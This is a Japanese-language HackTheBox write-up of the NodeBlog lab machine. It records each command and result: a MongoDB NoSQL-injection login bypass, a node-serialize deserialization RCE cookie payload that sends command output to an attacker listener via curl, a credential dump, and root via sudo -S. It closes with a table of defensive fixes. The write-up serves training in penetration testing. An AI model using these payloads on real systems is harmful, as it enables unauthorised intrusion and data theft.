HackTheBox: NodeBlog — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH) / 5000(Node.js Express)
→
22(SSH) / 5000(Node.js Express)
NoSQLインジェクション
{“$ne”:”admin”} でログイン回避
→
{“$ne”:”admin”} でログイン回避
server.js 解析
unserialize()が認証判定より先に実行
→
unserialize()が認証判定より先に実行
node-serialize IIFE RCE
authクッキーに仕込んだ関数即時実行
→
authクッキーに仕込んだ関数即時実行
admin 権限コマンド実行
user.txt ✓
→
user.txt ✓
MongoDB 平文認証情報
admin:IppsecSaysPleaseSubscribe
→
admin:IppsecSaysPleaseSubscribe
sudo -S(RCEチャネル内)
SSHはpublickeyのみで不可
→
SSHはpublickeyのみで不可
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p 21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,...,5000,... -T4 --max-retries 3 10.129.96.160
RESULT
PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp Nmap done: 1 IP address (1 host up) scanned in 1.3 seconds
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,5000 10.129.96.160
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA) | 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA) |_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519) 5000/tcp open http Node.js (Express middleware) |_http-title: Blog Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート5000で Node.js / Express 製の自作ブログアプリ (
X-Powered-By: Express) が稼働。
Node.js系アプリは node-serialize 等の安全でないデシリアライゼーションライブラリやNoSQL (MongoDB) 特有の
インジェクション脆弱性を持つことが多く、重点調査対象とする。
トップページの確認
BASH
curl -s http://10.129.96.160:5000/
RESULT(抜粋)
<h1 class="mb-4">Blog Articles</h1> <a href="/login" class="btn btn-success">Login</a> <div class="card-title">UHC Qualifiers</div> <a href="articles/uhc-qualifiers" class="btn btn-primary">Read More</a>
ℹ️
未ログイン状態では「Login」ボタンのみ表示される。ブログ記事の新規作成・アップロードボタンは
ログイン済み(authenticated=true)の場合のみDOMに出現する実装になっている
(後述の認証バイパスで確認できる)。
PHASE 2
NoSQLインジェクションによるログイン回避
ログインフォームの確認
BASH
curl -s http://10.129.96.160:5000/login
RESULT
<form action="/login" method="POST"> <input type="text" name="user" id="user"> <input type="text" name="password" id="password"> <button type="submit">Login</button> </form>
ℹ️
バックエンドが MongoDB (mongoose) であることは Phase 1 で既に推測済み。MongoDBドライバは
password フィールドに文字列ではなく JSONオブジェクト(MongoDB演算子)を
そのまま渡すと、クエリ条件として解釈してしまうことがある(NoSQLインジェクション)。
JSON Content-Type + $ne 演算子でログイン回避
BASH
curl -s -i -X POST \
-H "Content-Type: application/json" \
-d '{"user":"admin","password":{"$ne":"admin"}}' \
http://10.129.96.160:5000/login
RESULT
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: auth=%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D; Max-Age=900; Path=/; HttpOnly
<a href="/articles/new" class="btn btn-success">New Article</a>
<button class="btn btn-warning">Upload</button>
<a href="articles/edit/61b738427a6f86379f6c7ea3" class="btn btn-info">Edit</a>
✅
認証バイパス成功。
password: {"$ne": "admin"} は「password が文字列
“admin” と等しくない」という常に真になるMongoDBクエリ条件に解釈される。
結果として平文パスワードを知らなくても admin ユーザーとしてログインでき、
「New Article」「Upload」「Edit」「Delete」ボタンが出現した(=管理者権限でのレンダリング)。
なお、このステップで得られる auth クッキーの値自体は次フェーズのRCEには不要
(デシリアライズはクッキーの正当性を検証する前に実行されるため)。
PHASE 3
server.js ソース解析 — unserialize() が認証判定より先に実行される
脆弱な authenticated() 関数(RCE後に回収したソース)
NOTE (/opt/blog/server.js 抜粋)
const serialize = require('node-serialize')
const cookie_secret = "UHC-SecretCookie"
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex'))) {
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({ createdAt: 'desc' })
res.render('articles/index', {
articles: articles,
ip: req.socket.remoteAddress,
authenticated: authenticated(req.cookies.auth)
})
})
🚨
致命的な欠陥:
authenticated() は受け取ったクッキー文字列 c を
署名(sign)の検証より先に serialize.unserialize(c) へ渡している。
node-serialize は _$$ND_FUNC$$_ というマーカー付き文字列を見つけると、
JSONとしてではなくJavaScriptの関数リテラルとしてevalし、即時実行(IIFE)してしまう
既知の安全でないデシリアライゼーション脆弱性を持つ。つまり ログインに成功しているかは一切関係なく、
トップページへ悪意あるクッキーを送るだけでサーバー側で任意コードが実行できる。
node-serialize IIFEペイロードの構造
PYTHON (ペイロード生成イメージ)
# node-serialize は "_$$ND_FUNC$$_" + 関数定義 + "()" という文字列を
# JSON.parse の代わりにevalしてしまう。
# require('child_process').exec(...) をIIFEとして即時実行させる。
func_body = "require('child_process').exec('echo <base64>|base64 -d|bash', function(e,o,r){})"
payload = '{"rce":"_$$ND_FUNC$$_function(){' + func_body + '}()"}'
cookie = urllib.parse.quote(payload, safe='') # Cookie値としてURLエンコード
# 実行したいシェルコマンドはbase64化してから echo|base64 -d|bash で復号実行する
# → シングルクォート・ダブルクォートの二重エスケープ地獄を回避するため
⚠️
実行結果(stdout/stderr)はサーバーのレスポンスボディには返らないため、
curl ... | curl -d @- http://<Kali>:<port>/ のように
コマンド自体の中でKali側へHTTP POSTし外部へexfilする方式を取る
(いわゆる blind RCE のアウトオブバンド取得)。
PHASE 4
node-serialize RCEの実行 & user.txt 取得
Exfil用リスナーの起動
BASH
# ターミナル1: コマンド結果の受信用リスナー nc -lnvp 9999
悪意あるauthクッキーの生成
BASH
CMD='chmod +x /home/admin 2>/dev/null; cat /home/admin/user.txt 2>/dev/null; id'
B64=$(echo -n "($CMD) 2>&1 | curl -s --max-time 20 -d @- http://<KALI_IP>:9999/" | base64 -w0)
PAYLOAD="{\"rce\":\"_\$\$ND_FUNC\$\$_function(){require('child_process').exec('echo ${B64}|base64 -d|bash',function(e,o,r){})}()\"}"
COOKIE=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=''))" "$PAYLOAD")
ℹ️
/home/admin ディレクトリは 700 パーミッションで admin 所有のため、
user.txt を直接 cat する前に chmod +x で実行権限(ディレクトリ探索権)を付与
しておく必要がある点が本マシン特有のポイント。
トップページへクッキーを送ってデシリアライズを発火
BASH
curl -s --max-time 12 -b "auth=${COOKIE}" "http://10.129.96.160:5000/"
RESULT (nc :9999 リスナー側)
listening on [any] 9999 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.96.160] 49856 POST / HTTP/1.1 Host: 10.10.15.200:9999 Content-Type: application/x-www-form-urlencoded e1b525dddcf07a1f3e04d2ec21dfd81buid=1000(admin) gid=1000(admin) groups=1000(admin)
✅
RCE成功!
uid=1000(admin) としてコマンドが実行され、user.txtの内容が
Kali側リスナーへHTTP POSTで届いた。ログイン自体は一切不要で、未認証のまま任意コード実行に到達している。
user.txt — admin
e1b525dddcf07a1f3e04d2ec21dfd81b
PHASE 5
権限昇格の下調べ — MongoDBから平文認証情報を回収
同じRCEチャネルでMongoDBのusersコレクションをダンプ
BASH
CMD='mongo --quiet blog --eval "db.users.find().forEach(function(u){print(u.username+\":\"+u.password)})"'
B64=$(echo -n "($CMD) 2>&1 | curl -s --max-time 20 -d @- http://<KALI_IP>:9999/" | base64 -w0)
# ...(Phase4-2と同じ要領でpayload/cookieを再構築)...
curl -s --max-time 12 -b "auth=${COOKIE}" "http://10.129.96.160:5000/"
RESULT (nc :9999 リスナー側)
POST / HTTP/1.1
Host: 10.10.15.200:9999
admin:IppsecSaysPleaseSubscribe
🚨
重大発見: ローカルの MongoDB (
mongodb://localhost/blog、認証なし) に
ユーザー資格情報が平文で保存されている。mongo CLIがRCE経由で
そのまま実行できる=アプリサーバーを乗っ取った時点でDB全体も掌握できる構成上の弱点。
⚠️
ハマりポイント(SSH公開鍵のみ許可): 取得した
admin:IppsecSaysPleaseSubscribe で
ssh admin@10.129.96.160 を試すと Permission denied (publickey) で失敗する。
ssh -vvv で確認すると Authentications that can continue: publickey のみが提示され、
sshd側でパスワード認証が無効化(PasswordAuthentication no)されている。
このマシンでは SSH 経由の対話シェルではなく、RCEチャネル自体の中で sudo -S を使う
ことが root.txt への正しい経路になる。
PHASE 6
RCEチャネル内 sudo -S → root.txt
RCE経由で sudo -S bash -c ‘cat /root/root.txt’ を実行
BASH
CMD="echo 'IppsecSaysPleaseSubscribe' | sudo -S bash -c 'cat /root/root.txt 2>/dev/null; id'"
B64=$(echo -n "($CMD) 2>&1 | curl -s --max-time 20 -d @- http://<KALI_IP>:9999/" | base64 -w0)
# ...(同様にpayload/cookieを再構築)...
curl -s --max-time 12 -b "auth=${COOKIE}" "http://10.129.96.160:5000/"
RESULT (nc :9999 リスナー側)
POST / HTTP/1.1
Host: 10.10.15.200:9999
[sudo] password for admin: 4d986a34bd100235986e271915b50a96uid=0(root) gid=0(root) groups=0(root)
✅
root化成功!
admin ユーザーは sudo で全コマンドを実行可能なため、
MongoDBから回収したパスワードをそのまま sudo -S に渡すだけで uid=0(root) に到達した。
id の出力が root であることからシェル自体も完全に昇格済みであることが確認できる。
root.txt — root
4d986a34bd100235986e271915b50a96
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — admin
e1b525dddcf07a1f3e04d2ec21dfd81b
root.txt — root
4d986a34bd100235986e271915b50a96
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| NoSQLインジェクション | /login (Express + mongoose) | 認証バイパス | Medium | Content-Type: application/json + password:{"$ne":"admin"} で平文パスワード不要でログイン成功 |
| node-serialize 安全でないデシリアライゼーション | server.js authenticated() 関数 |
リモートコード実行(admin権限、未認証到達可) | Critical | _$$ND_FUNC$$_function(){...}() IIFE形式のクッキーを送るだけで署名検証前に任意コード実行 |
| 平文認証情報のDB保存 + 無制限sudo | MongoDB (ローカル・認証なし) / sudoers | 権限昇格(root) | High | RCEチャネル内で mongo CLIからパスワード平文取得 → 同じチャネルで sudo -S を直接実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22(SSH)/5000(Node.js Express “Blog”) |
| 2 | NoSQLインジェクション | JSON body + $ne 演算子 | admin としてログイン状態(UIにadmin操作ボタン出現) |
| 3 | ソース解析 | RCE経由で server.js を取得・解析 | unserialize() が署名検証より先に実行される実装欠陥を確認 |
| 4 | RCE実行 | node-serialize IIFEペイロード + HTTP exfil | user.txt 取得(uid=1000 admin) |
| 5 | 資格情報収集 | RCE経由 mongo CLI ダンプ | admin:IppsecSaysPleaseSubscribe(SSHはpublickeyのみで不使用と判明) |
| 6 | 権限昇格 | RCEチャネル内 sudo -S | root.txt 取得(uid=0 root) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| MongoDBクエリにユーザー入力オブジェクトをそのまま渡している(NoSQLインジェクション) | 入力値の型を明示的に検証(password は必ず文字列型であることを強制)し、express-mongo-sanitize 等でリクエストボディ中の $ 始まりキーを除去する。 |
クッキー値を署名検証より先に node-serialize でデシリアライズしている |
node-serialize を使わず JSON.parse を使う(関数のシリアライズが不要ならそもそも危険なライブラリを採用しない)。署名(HMAC)の検証をデシリアライズより先に行う実装順序に修正する。 |
| MongoDBにユーザーパスワードが平文で保存されている | bcrypt等でハッシュ化して保存し、平文パスワードをDBに残さない。アプリ⇄DB間も認証を有効化する。 |
| 一般ユーザー(admin)がパスワード付きで無制限 sudo 可能 | 必要な個別コマンドのみを sudoers に明示的に許可し、ALL=(ALL) ALL のような広すぎる権限を付与しない。 |

